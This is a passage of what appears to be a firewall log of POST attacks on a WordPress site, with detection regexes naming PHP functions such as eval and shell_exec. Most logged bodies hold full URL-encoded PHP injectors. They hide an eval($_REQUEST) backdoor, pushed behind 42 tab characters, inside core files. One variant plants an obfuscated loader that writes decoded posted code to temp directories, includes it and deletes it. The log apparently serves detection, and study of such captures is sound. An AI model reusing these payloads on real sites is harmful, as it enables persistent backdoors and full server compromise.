0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2040\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nSz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:48","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> UW:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2040\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIIpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nUW=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:51","123.30.233.13","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-length:2063\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nhost:dewenlabels.com\nsec-ch-ua-mobile:?0\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 10:47:53","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2040\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvESLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nDV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:59","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4556\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nmS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2520%2528%2520int%2529%2524v3%2520-%2520%2524sChar%2520-%2528%2520%2524y%2520%2525%252010%2529%2529%2520%255E%252071%253B%2520%2524resource%2520.%253D%2520chr%2528%2520%2524dec%2529%253B%2520%257D%2520%2524obj%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524obj%2520as%2520%2524key%2520%253D%253E%2520%2524itm%2529%2520%257B%2520if%2520%2528is_dir%2528%2524itm%2529%2520%2526%2526%2520is_writable%2528%2524itm%2529%2529%2520%257B%2520%2524token%2520%253D%2520str_replace%2528%2522%257Bvar_dir%257D%2522%252C%2520%2524itm%252C%2520%2522%257Bvar_dir%257D\/.ent%2522%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524token%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:48:01","52.232.35.131","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nX:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sitemaps\/class-wp-sitemaps-registry.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%2529%2529%257B%2520%2524desc%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70%255Cx6Fi%255Cx6Eter%2522%255D%253B%2520%2524desc%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524desc%2520%2529%253B%2520%2524resource%2520%253D%2527%2527%253B%2520%2524s1%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2520%2524s1%2529%253B%2520%2524len%2520%253Dcount%2528%2520%2524desc%2529%253B%2520for%2528%2520%2524y%2520%253D0%253B%2520%2524y%2520%253C%2520%2524len%253B%2520%2524y%252B%252B%2529%2520%257B%2520%2524v3%2520%253D%2524desc%255B%2524y%255D%253B%2520%2524sChar%2520%253Dord%2528%2520%2524s1%255B%2524y%2520%2525%2520%2524sLen%255D%2529%253B